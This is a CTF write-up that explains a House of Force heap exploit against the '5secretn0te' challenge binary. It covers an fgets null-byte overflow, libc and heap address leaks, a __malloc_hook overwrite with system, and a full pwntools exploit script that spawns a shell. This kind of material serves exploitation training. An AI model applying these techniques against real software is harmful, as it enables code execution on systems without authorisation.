KCSC House of Force
- Author: 0xR0gues
Heap Adventure 0x01: House of force
Needed :
- know the heap base address
- Need a heap overflow to overwrite the top_chunk size
- allocate arbitrary chunk size
KCSC_CTF 2022: 5secretn0te
When we start the bin, we have a menu :
╔════════════════════════════════╗
║ WELCOME TO KCSC ║
╚════════════════════════════════┘
╔══════════╗
║██████████║
║5ecretηΘ†E║
║██████████║
║██████████║
║██████████║
║██████████║
╚══════════┘
[1] Create Page
[2] Edit Page
[3] Delete Page
[4] Show Page
[5] Quit
>>
As you can see, we can create, edit, delete and show a page When we create a chunk it ask for a username and a password :
Page no : 0
Enter username: Shimves
Enter password: 123456
Note structure :
0xdef280: 0x0000000000000000 0x0000000000000071 [0]
0xdef290: 0x0a7365766d696853 0x0000000000000000 --+
0xdef2a0: 0x0000000000000000 0x0000000000000000 |
0xdef2b0: 0x0000000000000000 0x0000000000000000 +-- char name[80]
0xdef2c0: 0x0000000000000000 0x0000000000000000 |
0xdef2d0: 0x0000000000000000 0x0000000000000000 --+
0xdef2e0: 0x0000000000000007 0x0000000000def270 [1][2]
- The chunk header
- the password lenght
- a pointer to another chunk which contain de the password
Chunk which hold the password is allocated before the chunk which hold the note
The vulnerability
The vulnerability reside in create() function which is called when we create a new page which to an heap overflow
So what is happening ?
Here is the stripped source code
char name [80];
char passwd [256];
//... random stuff
printf("Page no : %d\n",(ulong)(uint)i);
printf("Enter username: ");
fgets(name,0x51,stdin);
printf("Enter password: ");
fgets(passwd,0x101,stdin);
size_dup = strlen(passwd);
p_passwd = strdup(passwd);
p_note = (note *)malloc(0x60);
table[i] = p_note;
insert(name,size_dup,p_passwd,i);
We have 2 buffers near each others and we :
- read 0x51 ( 81 ) bytes in the name buffer
- read 0x101 ( 257 ) bytes in the passwd buffer
There is no bof because we use fgets and fgets is a safe function ? … right ? ….
Well in fact there is a huge probleme, in C strings are null bytes terminated to know when the string end. functions like strlen, strcpy ( used by insert ) and strdup use the null byte to determine the size of the given string.
Refering to the man entry for fgets:
fgets() reads in at most one less than _size_ characters from _stream_ and stores them into the buffer pointed to by _s_
...
A terminating null byte (aq\0aq) is stored after the last character in the buffer
So fgets are going to read at most 80 bytes from stdin and use the last byte to store the null byte BUT this byte will overflow in the password buffer
Lets me show you with gdb :
pwndbg> disass create
//skipped stuff
0x00000000004016eb <+606>: call 0x4011a0 <fgets@plt>
0x00000000004016f0 <+611>: lea rdi,[rip+0x930] # 0x402027
0x00000000004016f7 <+618>: mov eax,0x0
0x00000000004016fc <+623>: call 0x401170 <printf@plt>
0x0000000000401701 <+628>: mov rdx,QWORD PTR [rip+0x2928] # 0x404030 <stdin@@GLIBC_2.2.5>
0x0000000000401708 <+635>: lea rax,[rbp-0x110]
0x000000000040170f <+642>: mov esi,0x101
0x0000000000401714 <+647>: mov rdi,rax
0x0000000000401717 <+650>: call 0x4011a0 <fgets@plt>
Here is the calls to fgets, we put 2 breakpoints at 0x00000000004016eb <+606>: call 0x4011a0 <fgets@plt>
and 0x0000000000401717 <+650>: call 0x4011a0 <fgets@plt>
The bug
► 0x4016eb <create+606> call fgets@plt <fgets@plt>
s: 0x7ffca6714990 ◂— 0x0
n: 0x51
stream: 0x7f8d0f7aa9e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
We hit the first breakpoint and we see the buffer is locate at 0x7ffca6714990 on the stack (randomized because aslr is enabled)
When we print the content of the buffer after executing the call, we get this:
pwndbg> x/10gx 0x7ffca6714990
0x7ffca6714990: 0x4141414141414141 0x4141414141414141
0x7ffca67149a0: 0x4141414141414141 0x4141414141414141
0x7ffca67149b0: 0x4141414141414141 0x4141414141414141
0x7ffca67149c0: 0x4141414141414141 0x4141414141414141
0x7ffca67149d0: 0x4141414141414141 0x4141414141414141
pwndbg> p &name
$2 = (char (*)[80]) 0x7ffca6714990
As you can see, we have sucessfully filled name buffer with 80 A + the null bytes
Now lets look at the passwd buffer:
pwndbg> x/20gx 0x7ffca6714990
+------------------------------------------- char name[80]
|
0x7ffca6714990: 0x4141414141414141 0x4141414141414141
0x7ffca67149a0: 0x4141414141414141 0x4141414141414141
0x7ffca67149b0: 0x4141414141414141 0x4141414141414141
0x7ffca67149c0: 0x4141414141414141 0x4141414141414141
0x7ffca67149d0: 0x4141414141414141 0x4141414141414141
+------------------------------------------ char passwd[256]
|
0x7ffca67149e0: 0x0000000000000000 0x0000000000000000
0x7ffca67149f0: 0x0000000000000000 0x0000000000000000
0x7ffca6714a00: 0x0000000000000000 0x0000000000000000
0x7ffca6714a10: 0x0000000000000000 0x0000000000000000
0x7ffca6714a20: 0x0000000000000000 0x0000000000000000
pwndbg> p &passwd
$4 = (char (*)[256]) 0x7ffca67149e0
But we have a probleme because remember the null bytes overflow on the passwd buffer. We can represent this is c like
buffer[80] == passwd[0]
So when we will read the password from stdin and store it in the buffer, the content will overwrite the null byte of the name string
► 0x401717 <create+650> call fgets@plt <fgets@plt>
s: 0x7ffca67149e0 ◂— 0x0
n: 0x101
stream: 0x7f8d0f7aa9e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
After hiting the bp, step to the next instruction and lets inspect the content of password:
+------------------------------------------ char name[80]
|
0x7ffca6714990: 0x4141414141414141 0x4141414141414141
0x7ffca67149a0: 0x4141414141414141 0x4141414141414141
0x7ffca67149b0: 0x4141414141414141 0x4141414141414141
0x7ffca67149c0: 0x4141414141414141 0x4141414141414141
0x7ffca67149d0: 0x4141414141414141 0x4141414141414141
+------------------------------------------ char passwd[256]
|
0x7ffca67149e0: 0x4242424242424242 0x4343434343434343
0x7ffca67149f0: 0x000000000000000a 0x0000000000000000
0x7ffca6714a00: 0x0000000000000000 0x0000000000000000
0x7ffca6714a10: 0x0000000000000000 0x0000000000000000
0x7ffca6714a20: 0x0000000000000000 0x0000000000000000
As you can see, there is no null ptr at the end of name, because it was overwritten by the password and now name is considered as name + password:
pwndbg> p (char *)name
$9 = 0x7ffca6714990 'A' <repeats 80 times>, "BBBBBBBBCCCCCCCC\n"
Then lets inspect the insert function
The overflow
int insert(char *name,longlong size,char *passwd,int idx)
{
table[idx]->pwLen = size;
table[idx]->passwd = passwd;
strcpy(table[idx]->name,name);
return 0;
}
Here is the inspect function, you can see it copy the name into the table which is an array of note structure which look something like this :
typedef {
char name[80];
long pwnLen;
char * passwd;
}struct note;
Remember due to the bug, the name copied into this struct may be biffer than 80 so this lead to an overflow on the heap ( because note are allocated on the heap by create) and we can overwrite the passwd pointeur.
Exploitation
Leaking Libc address
Now we need to leak libc address, the only way is to use the show function :
int show(void)
{
uint uVar1;
int idx;
printf("Enter index: ");
uVar1 = read_int();
if (((-1 < (int)uVar1) && ((int)uVar1 < 10)) && (table[(int)uVar1] != (note *)0x0)) {
printf("Page no : %d\nusername : %s\n",(ulong)uVar1,table[(int)uVar1]);
printf("pwLen : %lld\npassword : %s\n",table[(int)uVar1]->pwLen,table[(int)uVar1]->passwd);
}
return 0;
}
It print the password which is normaly our password allocated on the heap but imagine the passwd field contain the address of a linked function which reside in the got ?
#!/bin/python
idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(elf.got["puts"]) , b"123456")
#LIBC
#Trigger the show function to leak libc address
print(" [+] Leaking libc address")
io.sendline(b"4")
io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))
io.recvuntil(b"password : ")
libc_leak = u64(io.recvline()[:-1] + b"\x00\x00")
print(f" [-] @puts is at : {hex(libc_leak)}")
libc.address = libc_leak - libc.sym.puts
print(f" [-] libc base address is {hex(libc.address)}")
We have sucessfully leaked the base address of libc, now lets leak the address of the heap.
Leaking heap address
we have the table which can be usefull to leak heap address, table is defined like this:
typedef {
char name[80];
long pwnLen;
char * passwd;
}struct note;
note * table[10];
And table is a global array so it is stored in the data section which is static because there is no PIE, we can use the same process used for leaking libc to leak heap
# Heap
# table is at 0x404040 in the data section
print(" [+] Leaking heap address")
# Reuse the bug to leak the heap address
idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(0x404040), b"123456")
io.sendline(b"4")
io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))
io.recvuntil(b"password : ")
heap_leak = io.recvline()[:-1]
heap_leak = u64(heap_leak + b"\x00" * (8 - len(heap_leak)))
print(f" [-] first note is at {hex(heap_leak)}")
House of force
The house of force vuln consist of overwriting the top_chunk size with an heap overflow to a big value, then allocation a huge chunk. After the chunk, the next chunk will be allocated at our desired value. With the command top_chunk we can print his address and his size. We can reuse the heap overflwo to overwrite his size field :
Top chunk
Addr: 0x62f420
Size: 0xffffffffffffffff
Here I have overwritten the size with the heap overflow and I have his address, so I just have to calculate the delta with our leaked chunk ( the first note).
pwndbg> print/x 0x62f420-0x62f290
$2 = 0x190
Now we need to allocate a chunk with the delta as size ( header included ) so lets look with edit function :
printf("Enter index: ");
idx_00 = read_int();
if (((-1 < idx_00) && (idx_00 < 10)) && (table[idx_00] != (note *)0x0)) {
printf("Enter username: ");
fgets(name,0x51,stdin);
printf("Enter pwLen: ");
__size = read_ll();
printf("Enter password: ");
if ((long)__size < 0x101) {
fgets(passwd,0x101,stdin);
ptr = strdup(passwd);
}
else {
ptr = (char *)malloc(__size); // We can allocate a chunk with an arbitrary size
fgets(ptr,(int)__size + 1,stdin);
}
insert(name,__size,ptr,idx_00);
}
You can see if the size is bigger than 0x101, edit will allocate a new chunk with the desired size.
# From heap overflow to house of force
print("[+] Overwriting the top_chunk size field")
# Overwrite top_chunk_size to a big value
idx = create(b"A" * 0x50 + b"B" * 24 + p64(0xffffffffffffffff), b"123456")
# Resolve the top_chunk address
top_chunk = heap_leak + 0x190
print(f" [-] top_chunk is at {hex(top_chunk)}")
# Calculate the delta
delta = (libc.sym.__malloc_hook - 0x20) - top_chunk
print(f" [-] delta between top_chunk and system is {hex(delta)}")
# Allocate a huge chunk with the delta size, we are going to use the edit function
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", bytes(str(delta), "utf-8"))
io.sendlineafter(b"password: ", b"123456")
print(f" [-] chunk with size {hex(delta)} allocated")
After inspecting the area around __malloc_hook we can predict where the next chunk will be allocated ( remember chunk header is 0x10 sized )
pwndbg>top_chunk
Top chunk
Addr: 0x7fbbf85aac00
Size: 0xffff80440900c819
pwndbg> dq &__malloc_hook-2
00007fbbf85aac00 00007fbbf8280ad0 ffff80440900c819
00007fbbf85aac10 0000000000000000 0000000000000000
00007fbbf85aac20 0000000100000000 0000000000000000
00007fbbf85aac30 0000000000000000 0000000000000000
Now we reuse edit to allocate a 8 bytes chunks and write in to it the address of system
# Allocate a new chunk with the edit function so we can choose the content
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", b"8")
io.sendlineafter(b"password: ", p64(libc.sym.system))
io.recvuntil(b">>")
print(f" [-] __malloc_hook overwrited with the address of system:{hex(libc.sym.system)}")
Then we need to call malloc again but the size should be the address of the string /bin/sh
. As we do previously, we use edit again.
# Call malloc with the address of /bin/sh as argument
bin_sh = next(libc.search("/bin/sh"))
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", bytes(str(bin_sh), "utf-8"))
And now we have a shell :)
[+] Leaking libc address
[-] @puts is at : 0x7f99f566d510
[-] libc base address is 0x7f99f5600000
[+] Leaking heap address
[-] first note is at 0x974290
[+] House of force
[-] top_chunk_size field overwritten
[-] top_chunk is at 0x974420
[-] delta between top_chunk and system is 0x7f99f50367d0
[-] chunk with size 0x7f99f50367d0 allocated
[-] __malloc_hook overwrited with the address of system:0x7f99f5640ff0
[-] pwned ...
[*] Switching to interactive mode
Enter password: $ ls
exploit.py ld-2.26.so libc-2.26.so secretnote
$
Here is the working exploit :
#!/bin/python
from pwn import *
context.terminal = [ "alacritty","-e"]
#context.log_level = "DEBUG"
elf = ELF("./secretnote")
libc = ELF("./libc-2.26.so")
if args.GDB:
io = gdb.debug(["./secretnote"])
else:
io = process(["./secretnote"])
def create(username:bytes, password:bytes)->int:
io.sendline(b"1")
io.recvuntil(b"Page no : ")
index = int(io.recvline())
io.sendlineafter(b"Enter username: ", username)
io.sendlineafter(b"Enter password: ", password)
io.recvuntil(b">>")
return index
#LIBC
print("[+] Leaking libc address")
# Create a note with huge username to trigger heap overflow
idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(elf.got["puts"]) , b"123456")
# Trigger show function to leak
io.sendline(b"4")
io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))
io.recvuntil(b"password : ")
libc_leak = io.recvline()[:-1]
libc_leak = u64(libc_leak + b"\x00" * (8 - len(libc_leak)))
print(f" [-] @puts is at : {hex(libc_leak)}")
libc.address = libc_leak - libc.sym.puts
print(f" [-] libc base address is {hex(libc.address)}")
# HEAP
# table is at 0x404040 in the data section
print("[+] Leaking heap address")
# Reuse the bug to leak the heap address
idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(0x404040), b"123456")
io.sendline(b"4")
io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))
io.recvuntil(b"password : ")
heap_leak = io.recvline()[:-1]
heap_leak = u64(heap_leak + b"\x00" * (8 - len(heap_leak)))
print(f" [-] first note is at {hex(heap_leak)}")
# From heap overflow to house of force
print("[+] House of force")
# Overwrite top_chunk_size to a big value
idx = create(b"A" * 0x50 + b"B" * 24 + p64(0xffffffffffffffff), b"123456")
print(f" [-] top_chunk_size field overwritten")
# Resolve the top_chunk address
top_chunk = heap_leak + 0x190
print(f" [-] top_chunk is at {hex(top_chunk)}")
# Calculate the delta
delta = (libc.sym.__malloc_hook - 0x20) - top_chunk
print(f" [-] delta between top_chunk and system is {hex(delta)}")
# Allocate a huge chunk with the delta size, we are going to use the edit function
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", bytes(str(delta), "utf-8"))
io.sendlineafter(b"password: ", b"123456")
io.recvuntil(b">>")
print(f" [-] chunk with size {hex(delta)} allocated")
# Allocate a new chunk with the edit function so we can choose the content
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", b"8")
io.sendlineafter(b"password: ", p64(libc.sym.system))
io.recvuntil(b">>")
print(f" [-] __malloc_hook overwrited with the address of system:{hex(libc.sym.system)}")
# Call malloc with the address of /bin/sh as argument
print(f" [-] pwned ...")
bin_sh = next(libc.search(b"/bin/sh"))
io.sendline(b"2")
io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))
io.sendlineafter(b"Enter username: ", b"0xdeadbeef")
io.sendlineafter(b"pwLen: ", bytes(str(bin_sh), "utf-8"))
io.interactive()